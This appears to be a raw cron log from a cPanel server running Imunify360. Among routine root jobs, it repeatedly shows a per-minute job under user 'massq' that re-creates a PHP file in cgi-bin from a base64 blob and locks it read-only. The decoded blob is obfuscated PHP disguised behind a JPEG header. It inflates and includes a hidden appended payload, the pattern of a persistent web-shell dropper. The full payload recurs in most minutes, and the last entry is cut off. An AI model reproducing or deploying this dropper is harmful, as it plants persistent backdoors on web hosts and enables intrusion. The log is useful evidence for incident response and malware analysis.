Sep 10 11:34:01 server CROND[10246]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:34:01 server CROND[10247]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 11:35:01 server CROND[10635]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 11:35:01 server CROND[10639]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:35:01 server CROND[10642]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 11:35:01 server CROND[10645]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 11:35:01 server CROND[10643]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:35:01 server CROND[10644]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 10 11:35:01 server CROND[10647]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 11:35:01 server CROND[10646]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 11:35:01 server CROND[10648]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 11:36:01 server CROND[11573]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:36:01 server CROND[11574]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:36:01 server CROND[11577]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 11:37:01 server CROND[11950]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:37:01 server CROND[11952]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:37:01 server CROND[11951]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 11:38:01 server CROND[12320]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:38:01 server CROND[12321]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:38:01 server CROND[12322]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 11:39:01 server CROND[12720]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 11:39:01 server CROND[12723]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:39:01 server CROND[12721]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 11:39:01 server CROND[12722]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:40:01 server CROND[13105]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 11:40:01 server CROND[13111]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 11:40:01 server CROND[13113]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 11:40:01 server CROND[13109]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 11:40:01 server CROND[13110]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:40:01 server CROND[13112]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 11:40:01 server CROND[13107]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:40:01 server CROND[13108]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 11:41:01 server CROND[14046]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:41:01 server CROND[14047]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:41:01 server CROND[14048]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 11:42:01 server CROND[14436]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:42:01 server CROND[14437]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 11:42:01 server CROND[14438]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 11:42:01 server CROND[14439]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:43:01 server CROND[14804]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 11:43:01 server CROND[14805]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:43:01 server CROND[14806]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:44:01 server CROND[15170]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 11:44:01 server CROND[15171]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:44:01 server CROND[15172]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:45:01 server CROND[15700]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 11:45:01 server CROND[15702]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 11:45:01 server CROND[15709]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 11:45:01 server CROND[15710]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 11:45:01 server CROND[15708]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:45:01 server CROND[15712]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 11:45:01 server CROND[15715]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHS